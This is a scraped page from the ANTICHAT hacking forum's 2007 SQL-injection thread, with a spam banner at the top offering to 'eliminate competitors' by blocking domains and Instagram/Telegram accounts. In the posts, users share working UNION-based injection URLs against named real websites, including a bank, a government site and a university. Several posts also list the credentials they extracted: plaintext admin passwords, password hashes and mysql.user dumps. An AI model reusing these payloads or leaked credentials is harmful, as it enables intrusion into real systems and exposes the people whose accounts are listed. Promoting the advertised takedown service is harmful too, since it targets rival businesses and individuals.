УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 398 из 1242

398

Опции темы

Поиск в этой теме

Опции просмотра

#3971

06.12.2007, 19:43

.Begemot.

Участник форума

Регистрация: 27.03.2007

Сообщений: 161

Провел на форуме:
1273248

Репутация: 785

Отправить сообщение для .Begemot. с помощью ICQ

Код HTML:

http://www.phuket-estate.com/search.php?hot=999999'

Код HTML:

http://www.phuket-estate.com/search.php?hot=999999'+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,convert(concat(USER(),char(58),VERSION())+using+latin1),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,convert(concat(DATABASE(),char(58))+using+latin1),50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69/*

70 столбцов...
USER:jeab690_10@216.92.127.221
DATABASE:jeab690_AMRE
VERSION:4.1.14-log

#3972

06.12.2007, 20:49

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

Провел на форуме:
1877761

Репутация: 237

Отправить сообщение для K1nD[e]R с помощью ICQ

Код:

http://www.dizelist.ru/index.php?id=-7+union+select+1,version(),concat_ws(0x2F,id,name,password),4,5,6,7+from+ds_dizelist_users/*

Version : 5.0.45-log/u59144@10.10.10.202/u59144

Admins:

Id / Name / Password

1/Dizelist.RU/Administrator123
2/Тарас/tarikpassword
3/VE/9505111
4/dizel/9112014
5/Nicolay/456123
6/Юрий/30055691

#3973

06.12.2007, 22:50

RenGen

Новичок

Регистрация: 23.10.2007

Сообщений: 6

Провел на форуме:
293576

Репутация: 19

Отправить сообщение для RenGen с помощью ICQ

http://www.eduvluki.ru

Код:

http://www.eduvluki.ru/metod/level2.php?id=-178+union+select+concat_ws(0x3a,user_login,user_passwd)+from+arc_users/*

Админка

Код:

http://www.eduvluki.ru/admin/

#3974

07.12.2007, 09:57

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

Эх, Италия ...

pigot4.it

Код:

http://www.pigot4.it/testi-canzoni-gratis/cantanti.php?cantante=-1+union+select+1,concat_ws(0x3a,version(),database(),user())/*

4.1.19-community-nt:testicanzoniit154:WA_012988@localhost

Админ [ логин : пасс ]:

Код:

Pigot4 : LmrscA90t

------------------------------------------------------------------------

Powered by: Cowgar Racing's Apache Portal. It's CRAP!!! - gameрские сайты

Примеры:

[1.] fierojoe.com :

Код:

http://www.fierojoe.com/index.php?func=plugins&p=classifieds&go=item_details&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat_ws(0x3a,version(),database(%20%20%20),user())/*

5.0.42-log:fierojoe_new:fierojoe@localhost

116 таблиц:

Код:

http://www.fierojoe.com/index.php?func=plugins&p=classifieds&go=item_details&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name+from+information_schema.tables+limit+115,1/*

Наши табы и нужные акки в них:

Код:

crap_email_list
crap_host_users       fierojoe : fe565f575eebcc06e65b5cc51667c368 [ fierogt ]
crap_users            admin : 87ee82c2af7fbd7ecf7bcd7b73b4afb1
j_users               fierojoe : fierogt

[2.] ricewarsthegame.com

Код:

http://www.ricewarsthegame.com/index.php?func=plugins&p=links&go=sub_list&cat_id=-1+union+select+1,concat_ws(0x3a,version(),database(%20%20%20),user())/*

5.0.42-log:ricewars:ricewars@localhost

63 таблицы:

Код:

http://www.ricewarsthegame.com/index.php?func=plugins&p=links&go=sub_list&cat_id=-1+union+select+1,table_name+from+information_schema.tables+limit+63,1/*

Нам нужна таба mantis_user_table

Сайт группы: _http://crap.cowgarracing.com/index.php
Админский акк вероятно:

Код:

admin : 87ee82c2af7fbd7ecf7bcd7b73b4afb1

------------------------------------------------------------------------

gov

radom.rdlp.gov.pl

Код:

http://www.radom.rdlp.gov.pl/index.php?id=10&a=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7/*

5.0.32-Debian_7etch1-log:rdlp_radom_pl:rdlpradom@localhost

Админ [ логин : пасс ] :

Код:

paneLBiP : panelbIp,

но админку не нашёл

#3975

07.12.2007, 11:40

[aywo]

Познающий

Регистрация: 01.02.2007

Сообщений: 89

Провел на форуме:
1668307

Репутация: 114

Отправить сообщение для [aywo] с помощью ICQ

Код:

http://www.alliancepermanentaccess.eu/index.php?id=-1+union+select+1,id,username,password,5,6,7+from+users+limit+3,2/*

database: alliancepermanentaccess

user: alliancepa@kb.edu

version: 5.0.22-community-nt

в базе всего 4 пользователя:

1)login:Hans Jansen
password:jansen

2)login:Ingrid Dillo
password:dillo

3)login:Bert Bulder
password:bulder

4)login:KirstenvH (может добавлять и редактировать новости)
password:hulsen

Последний раз редактировалось [aywo]; 07.12.2007 в 11:44..

#3976

07.12.2007, 17:32

Mike 007

Познающий

Регистрация: 04.04.2007

Сообщений: 54

Провел на форуме:
189215

Репутация: 86

www.totalgameplay.com

Код:

http://www.totalgameplay.com/news.php?id=-1+union+select+1,2,3,version(),5,user(),7,8,database(),10,11/*

4.1.22-standard-log

tgp_sysclie@localhost

tgp_gamedb
_______________________________________

При запросе

Код:

http://www.totalgameplay.com/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat(table_schema,0x3a,table_name),10,11+from+information_schema.columns+where+column_name=0x70617373776F7264/*

Получается

Код:

SELECT command denied to user 'tgp_sysclie'@'localhost' for table 'columns'

Попробуйте ктонибудь дораскрутить...

www.kursor-trans.com

Код:

http://www.kursor-trans.com/news.php?id=-1+union+select+1,2,user(),version()/*

4.1.22-standard

kursor_alex@localhost

Последний раз редактировалось Mike 007; 07.12.2007 в 18:11..

#3977

07.12.2007, 18:19

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

Провел на форуме:
9098076

Репутация: 4303

Bank Of Baku

Цитата:

http://www.bankofbaku.com/rus/news.php?id=-15'+union+select+1,2,load_file('/tmp/123.php'),4,5,6,7,8,9,10,11,12,13,14,15/*

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

#3978

07.12.2007, 18:24

.Begemot.

Участник форума

Регистрация: 27.03.2007

Сообщений: 161

Провел на форуме:
1273248

Репутация: 785

Код HTML:

http://trizland.ru/task.php?id=9999

Код HTML:

http://trizland.ru/task.php?id=9999+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE(),0x3a),3,4,5,6,7,8/*

USER:bin17www-sql@way.hc.ru
VERSION:4.1.18
DATABASE:bin17www

#3979

07.12.2007, 18:25

nec

Участник форума

Регистрация: 06.07.2005

Сообщений: 115

Провел на форуме:
959535

Репутация: 40

Отправить сообщение для nec с помощью ICQ

www.crim.ncsu.edu/

Код:

 http://www.crim.ncsu.edu/project_detailed.php?id=-1+union+select+1,2,3,concat(user_login,0x3a,user_pass),5,6,7,8,9,1,2,3,4,5,6,7,8+from+wp_users+limit+0,1/*

admin:75bb40f591c0db371aba50f65741d73f

#3980

07.12.2007, 18:30

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

Провел на форуме:
1877761

Репутация: 237

Цитата:

Сообщение от Spyder

Bank Of Baku

Немнога доработал

Код:

http://www.bankofbaku.com/rus/news.php?id=-15'+union+select+1,2,load_file('/tmp/123.php'),4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x2F,user,password)+from+mysql.user/*

admins

root/60f57c4813f45b5f
orxanx/3d43b7262348c8c8

Страница 398 из 1242

398

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход